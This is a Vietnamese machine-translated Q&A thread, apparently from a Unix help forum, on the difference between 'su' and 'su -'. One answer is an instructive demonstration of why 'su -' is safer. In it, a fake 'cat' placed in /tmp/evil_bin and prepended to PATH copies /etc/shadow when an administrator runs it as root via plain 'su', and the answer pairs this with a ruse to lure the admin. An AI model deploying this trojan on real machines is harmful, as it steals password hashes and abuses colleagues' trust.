Câu trả lời:
su -
gọi shell đăng nhập sau khi chuyển đổi người dùng. Một vỏ đăng nhập đặt lại hầu hết các biến môi trường, cung cấp một cơ sở sạch.
su
chỉ cần chuyển đổi người dùng, cung cấp một vỏ bình thường với môi trường gần giống như với người dùng cũ.
Hãy tưởng tượng, bạn là nhà phát triển phần mềm có quyền truy cập bình thường của người dùng vào máy và quản trị viên không biết gì của bạn sẽ không cấp cho bạn quyền truy cập root. Hãy (hy vọng) lừa anh ta.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Bây giờ, bạn hỏi quản trị viên của bạn tại sao bạn không thể cat
tập tin giả trong thư mục nhà của bạn, nó sẽ không hoạt động!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Nếu quản trị viên của bạn không thông minh hoặc chỉ hơi lười biếng, anh ta có thể đến bàn của bạn và thử với quyền hạn siêu người dùng của mình:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Ồ Cảm ơn, siêu quản trị viên!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Anh, anh.
Bạn có thể nhận thấy rằng $PATH
biến bị hỏng không được đặt lại. Điều này sẽ không xảy ra, nếu quản trị viên gọi su -
thay thế.
umask
000 như thế hoặc nó sẽ không hoạt động.
su
tập tin bên trong PATH. Không quá khó để bắt chước hành vi của người thật su
. Siêu người dùng dù sao cũng đã bất cẩn :-)
su --
KHÔNG giống như su -
: --
yêu cầu trình xử lý tùy chọn getopt (hoặc tương tự) dừng xử lý dòng lệnh cho các tùy chọn khác (ví dụ hữu ích nếu phần còn lại chứa tên tệp có thể bắt đầu bằng '-'). Ví dụ, trong "rm -i - -f": sau đó -f được coi là một cuộc tranh luận thường xuyên, vì vậy đây là tên của tập tin để rm -i
, và không như một thêm vào một số -f
tùy chọn vào rm
lệnh. Như vậy su --
là chính đáng su
và không su -
! Vì vậy, su --
sẽ không an toàn với ví dụ (hài hước và mang tính hướng dẫn) bởi wag. Sử dụng su -
.
su -
đăng nhập bạn hoàn toàn dưới quyền root, trong khi đó su
làm cho nó để bạn giả vờ là root.
Ví dụ rõ ràng nhất về điều này là thư mục ~
gốc của root nếu bạn sử dụng su -
, nhưng thư mục chính của bạn nếu bạn sử dụng su
.
Tùy thuộc vào hệ thống của bạn, nó cũng có thể có nghĩa là sự khác biệt trong dấu nhắc PATH
hoặc tệp lịch sử.
Vì vậy, nếu bạn là thành viên của một nhóm quản trị một hệ thống và đồng nghiệp của bạn cho bạn một lệnh để chạy, bạn sẽ biết nó sẽ hoạt động như nhau nếu cả hai bạn đang sử dụng su -
, nhưng nếu cả hai bạn đang sử dụng su
, có thể có sự khác biệt do bạn có cấu hình vỏ khác nhau.
Mặt khác, nếu bạn muốn chạy một lệnh với quyền root nhưng sử dụng cấu hình của riêng bạn, thì có lẽ su
tốt hơn cho bạn.
Cũng đừng quên sudo
, trong đó có một -s
tùy chọn để bắt đầu một shell chạy như root. Tất nhiên, điều này cũng có các quy tắc khác nhau và chúng thay đổi tùy thuộc vào phân phối bạn đang sử dụng.
.bashrc
Hoặc /etc/bashrc
hoặc /etc/profile.d
tập lệnh của bạn đang được thiết lập PATH
. Hãy tìm if [ $UID -eq 0 ]
hoặc một cái gì đó như thế.
$USER
ví dụ là không thay đổi.
sudo su
?
Tôi sử dụng su - khi tôi ở trong một thư mục như một người dùng thông thường nhưng muốn chuyển sang root và vẫn ở trong cùng thư mục sau khi chuyển đổi. Khi bạn sử dụng su - nó sẽ chuyển người dùng sang root và cũng đưa bạn đến / root là thư mục gốc.
/
hoặc bất cứ điều gì được định nghĩa là thư mục chính của root
Sự khác biệt chính là:
su - username
thiết lập môi trường shell như thể nó là một đăng nhập sạch như người dùng được chỉ định, nó truy cập và sử dụng các biến môi trường người dùng được chỉ định,
su username
chỉ bắt đầu một trình bao với các cài đặt môi trường hiện tại cho người dùng được chỉ định.
Nếu tên người dùng không được chỉ định với su
và su -
, tài khoản root được ngụ ý mặc định.
su --
cũng giống nhưsu
.